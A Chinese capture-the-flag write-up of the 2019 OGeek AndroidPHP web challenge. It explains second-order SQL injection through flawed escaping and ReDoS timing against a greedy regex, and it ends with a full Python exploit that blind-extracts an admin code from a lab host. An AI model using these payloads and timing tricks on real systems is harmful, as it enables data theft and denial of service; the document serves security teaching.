这个题原本是个安卓逆向+web后端的题,但是web部分很值得学习。
安卓逆向部分参照官方wp 。
题目复现环境: https://github.com/rama291041610/Jeopardy-Dockerfiles/tree/master/web/2019-ogeek-AndroidPHP
这个题目主要考察了二次注入以及ReDos攻击,所以先讲讲这两类漏洞。
考察点
二次注入
相比于一次注入,二次注入更难以被挖掘。顾名思义,二次注入就是两次利用SQL注入的payload 从而破坏最终的SQL语句结构实现SQL注入的目的。二次注入是由于在数据插入数据库时,数据中的特殊字符被转义,如php中的addslashes
函数(在某些特殊字符前添加\
实现转义),插入数据库后,数据被还原。当数据被取出后,对于取出的数据没有再次进行转义过滤,导致数据再次被新的SQL语句引用的时候,就可破坏其结构,从而触发SQL注入。
以这个题为例,首页提示源码泄漏,目录为/html.zip
。
审计源码,注册处存在过滤。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function register ()
{
if ($_POST ['username' ] && $_POST ['password' ] ) {
$username = addslashes ($_POST ['username' ]);
$password = md5 ($_POST ['password' ]);
if (strlen ($username ) < 3 )
die ('Invalid user name' );
if (!$this ->is_exists ($username )) {
$db = new Data_db ();
$sql = "select max(id)+1 from users" ;
@$ret = $db ->querySingle ($sql );
if (!$ret )
return false ;
$nid = $ret ;
$sql = "insert into users(id,user,pass) values($nid ,'" .addslashes_to_sqlite ($username )."','$password ')" ;
@$ret = $db ->exec ($sql );
if (!$ret )
return false ;
$sql = "insert into file(userid,email,commentsize) values ($nid ,'[email protected] ','200')" ;
@$ret = $db ->exec ($sql );
$db ->close ();
if ($ret )
return true ;
else
return false ;
}
else {
die ("The username is not unique" );
}
}
else
{
return false ;
}
}
首先,username
被addslashes
函数过滤,查询php文档,关于该函数解释如下:
addslashes ( string $str ) : string
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。
也就是说,我们在用户名中插入的单引号会被转义为\'
。
在sql插入语句中,username
被addslashes_to_sqlite
函数二次转义过滤,这个函数定义在config.php
中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function addslashes_to_sqlite ($string )
{
for ($i = 0 ; $i <strlen ($string ); $i ++)
{
if ($string [$i ] == '\\' && ($i +1 )< strlen ($string ) && $string [$i +1 ] != '\\' )
{
$string [$i ] = $string [$i +1 ];
}
elseif ($string [$i ] == '\\' )
{
$i = $i + 1 ;
}
else
{
continue ;
}
}
return $string ;
}
这个过滤函数将所有非\\
的\*
形式转换为**
形式,也就是针对于sqlite中单引号的转义,单引号转义为''
。结合两次过滤,刚好将单引号转义,无法进行注入。
登陆处存在同样过滤,无法注入。
继续审计,comment
方法中,将数据库中的username
取出,拼接为email
插入数据库。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function comment ()
{
if (!$this ->check_login ()) return false ;
if ($_POST ['comment' ] ) {
$comment = $_POST ['comment' ];
$sql = "select user from users where id = '" .$this ->userid."'" ;
$db = new Data_db ();
@$ret = $db ->querySingle ($sql ) or 0 ;
$db ->close ();
$username = $ret ;
$email = $username ."@ctf.com" ;
$sql = "UPDATE file SET email = '" .addslashes_to_sqlite ($email )."' where id = " .$this ->userid;
$db = new Data_db ();
@$ret = $db ->exec ($sql );
$br_padding = (int )($_POST ['padding' ]);
$comment_size = strlen ($comment );
$sql = "select commentsize from file where userid = " .$this ->userid."" ;
$db = new Data_db ();
@$ret = $db ->querySingle ($sql ) or 0 ;
$db ->close ();
此时,由于''
存入数据库后,被还原为单引号,取出后只经过了addslashes_to_sqlite
转义过滤,并不能对单引号实现过滤,故可在UPDATE
语句处进行二次注入,注入点为username
。
ReDos攻击
ReDos攻击是由存在缺陷的正则表达式引发的。攻击者可以构造特殊的字符串,来消耗服务器资源从而达到Dos攻击的目的。
正则表达式的引擎是有穷状态自动机
,而有穷状态自动机又分为两类,一类称为DFA(确定有穷状态自动机)
,另一类称为NFA(非确定有穷状态自动机)
。
DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入 。由于字符串的每一个字符只需要扫描一遍,速度较快,但是支持的特性较少。
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态 。NFA由于要翻来覆去的对字符串进行匹配,速度较慢,但是支持的特性较多,如惰性匹配,回溯,反向引用。NFA默认使用贪婪匹配,所以有可能导致不停回溯,从而导致性能极差的情况发生。
由于NFA支持更多的功能,现在大多正则表达式的匹配引擎采用NFA,PHP的正则表达式匹配引擎采用的是传统的NFA,也就是说可以进行ReDos攻击。
易导致ReDos攻击的正则表达式一般具有如下特征:
重复分组构造
重复组内出现:1. 重复 2.交替重叠
以本题中出现的正则表达式为例:
题目中一共出现了两个正则表达式,分别为:(<.*>)+
, (<(\/)?br>)+
。
先分析(<.*>)+
。
分组内贪婪匹配任意字符,也就可以构造分组内无限长但是分组不匹配的字符串,从而导致在搜索过程中,不停的回溯,匹配次数指数级增长。匹配过程如下:
只需要构造足够长的<
即可触发ReDos攻击。
再来看看(<(\/)?br>)+
。
分组内不存在重复,无法进行ReDos攻击。
Solution
回到这个题,由于题目存在源码泄漏,主要就是考察代码审计能力了。
从admin.php
可以得知,想要获取flag,需要先得到admin
表中code
字段的值,然后在admin.php
提交code即可获得flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
require_once ('config.php' );
if (isset ($_POST ['flag' ])&& isset ($_POST ['code' ])) {
if (!isset ($_SESSION ['admin_code' ]))
{
header ('Location: admin.php' );
exit ;
}
if (substr (md5 ($_POST ['code' ]),0 , 6 )!== $_SESSION ['admin_code' ])
{
unset ($_SESSION ['admin_code' ]);
header ('Location: admin.php' );
exit ;
}
$sql = "select code from admin" ;
$db = new Data_db ();
$ret = $db ->querySingle ($sql );
if ($ret ) {
if ($ret === $_POST ['flag' ])
{
session_unset ();
$sql = "update admin set code='" .rand_s (5 )."';" ;
$ret = $db ->exec ($sql );
die ($flag );
}
else
{
unset ($_SESSION ['admin_code' ]);
header ('Location: admin.php' );
exit ;
}
}
else
{
unset ($_SESSION ['admin_code' ]);
header ('Location: admin.php' );
exit ;
}
}
这时就可以利用上面发现的二次注入漏洞,但是通过审计,无法将数据直接回显出来,只能考虑盲注。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if (( $comment_size + $br_padding ) > $max_comment_size )
{
$comment = preg_replace ('/(<.*>)+/' ,'' ,$comment );
if (strlen ($comment ) > $max_comment_size )
{
return true ;
}
else
{
$email = "[email protected] " ;
return true ;
}
}
else
{
$comment = preg_replace ('/(<(\/)?br>)+/' ,'' ,$comment );
$email = "[email protected] " ;
return true ;
}
所有状态均返回true,并且在/views/profile.v.php
中未对comment
的返回值进行处理,无法通过返回结果进行bool盲注。同时,在注册时,is_exists
函数对username
进行了过滤,过滤了RANDOMBLOB
以及;
。由于sqlite没有sleep函数,可用函数也十分有限,时间盲注基本只能通过RANDOMBLOB
生成超长随机串实现,被过滤后也很难进行时间盲注。同时,过滤分号也没办法进行堆叠注入,也就没办法篡改code。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
private function is_exists ($username )
{
$sql = "select user from users where user = '" .addslashes_to_sqlite ($username )."'" ;
$db = new Data_db ();
@$ret = $db ->querySingle ($sql );
$db ->close ();
if ($ret )
return true ;
else
if (preg_match ("/(RANDOMBLOB)|;/is" ,$username ))
return true ;
return false ;
}
再次回到上面comment
方法中的判断逻辑,其中,$comment_size
是我们输入comment
的长度,$br_padding
是我们输入的padding
的值,$max_comment_size
是从file表中读取的对应用户commentsize
字段的值。
当$comment_size + $br_padding > $max_comment_size
时,可以利用正则进行ReDos攻击,从而导致延时,反之则不会发生延时。
回到上面的注入部分,我们可以进行sql注入 的语句是
1
$sql = "UPDATE file SET email = '" .addslashes_to_sqlite ($email )."' where id = " .$this ->userid;
所以,思路已经很明朗了,SQL注入通过条件判断修改file表中commentsize
字段的值,然后通过ReDos攻击延时判断输入的查询条件是否成立。
sqlite没有if,但是可以使用case when (bool) then 0 else 200 end
,同时sqlite还支持直接比较字符的ascii码,故payload 为:
1
', commentsize = (case when (substr((select code from admin),%d,1 ) < char(%d)) then 0 else 200 end )
我们只需要输入足够大的comment以及合适的padding满足payload即可。
PS:官方wp给出的思路是将code字段的值分批次更新到commentsize,然后修改padding的值,通过延迟判断是否进入第一个分支,从而通过计算padding与comment长度的和得到commentsize的值,进而直接获取到code的值。sqlite没有ascii函数,查了半天手册,发现还有一个unicode
函数可用,可以将字符转为ascii码。
拿到code以后,前往admin.php
兑换即可,这里有一个md5验证码。
遍历0-1e9的MD5,约有46%的可能获得可行解,若没有刷新验证码重新遍历即可。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import requests
import random
import string
import hashlib
import time
import re
url = "http://192.168.112.132:8081"
def rand_str (length=5 ):
return '' .join(random.sample(string.ascii_letters + string.digits, length))
def md5 (text ):
return hashlib.md5(text.encode('utf-8' )).hexdigest()
def solve_md5 (code ):
for i in range (1000000000 ):
hash_code = md5(str (i))
if hash_code[:6 ] == code:
return "%d" % i
return False
class User (object ):
def __init__ (self, username, password="123456" ):
self.username = username
self.password = password
self.s = requests.Session()
self.register()
self.login()
def register (self ):
payload = {"username" : self.username, "password" : self.password}
r = self.s.post(url + "/index.php?action=register" , data=payload)
def login (self ):
payload = {"username" : self.username, "password" : self.password}
r = self.s.post(url + "/index.php?action=index" , data=payload)
def get_flag (code ):
s = requests.Session()
r = s.get(url + "/admin.php" )
hash_code = re.search(" === (\\w{6})" , r.text).group(1 )
hash_code = solve_md5(hash_code)
if hash_code:
r = s.post(url + "/admin.php" , data={"code" : hash_code, "flag" : code})
print (r.text)
def send (payload ):
user = User(payload)
payload = {"padding" : -199900 , "comment" : "<" * 200000 , "blog" : "test" }
try :
r = user.s.post(url + "/index.php?action=profile" , data=payload, timeout=2.5 )
except :
return True
def inject (payload ):
global end, name
char = 1
name = ""
while char:
end = False
search(0 , 129 , char, payload)
char += 1
if end:
print (name)
return name
def search (left, right, char, sql ):
global end, name
mid = (left + right) // 2
if right != left + 1 :
payload = sql % (char, mid)
rep = send(payload)
if rep:
search(left, mid, char, sql)
else :
search(mid, right, char, sql)
elif right != 1 :
print (char, chr (mid))
name += chr (mid)
else :
end = True
return
def office ():
code = ""
for i in range (5 ):
payload = rand_str() + "', commentsize = unicode(substr((select code from admin),{},1)) -- " .format (i + 1 )
user = User(payload)
for j in range (256 ):
payload = {"padding" : -200000 + j, "comment" : "<" * 200000 , "blog" : "test" }
try :
r = user.s.post(url + "/index.php?action=profile" , data=payload, timeout=2.5 )
except :
code += chr (j - 1 )
print (code)
break
return code
if __name__ == '__main__' :
code = inject(
rand_str() + "', commentsize = (case when (substr((select code from admin),%d,1) < char(%d)) then 0 else 200 end) -- " )
get_flag(code)
FROM:250.ac.cn
评论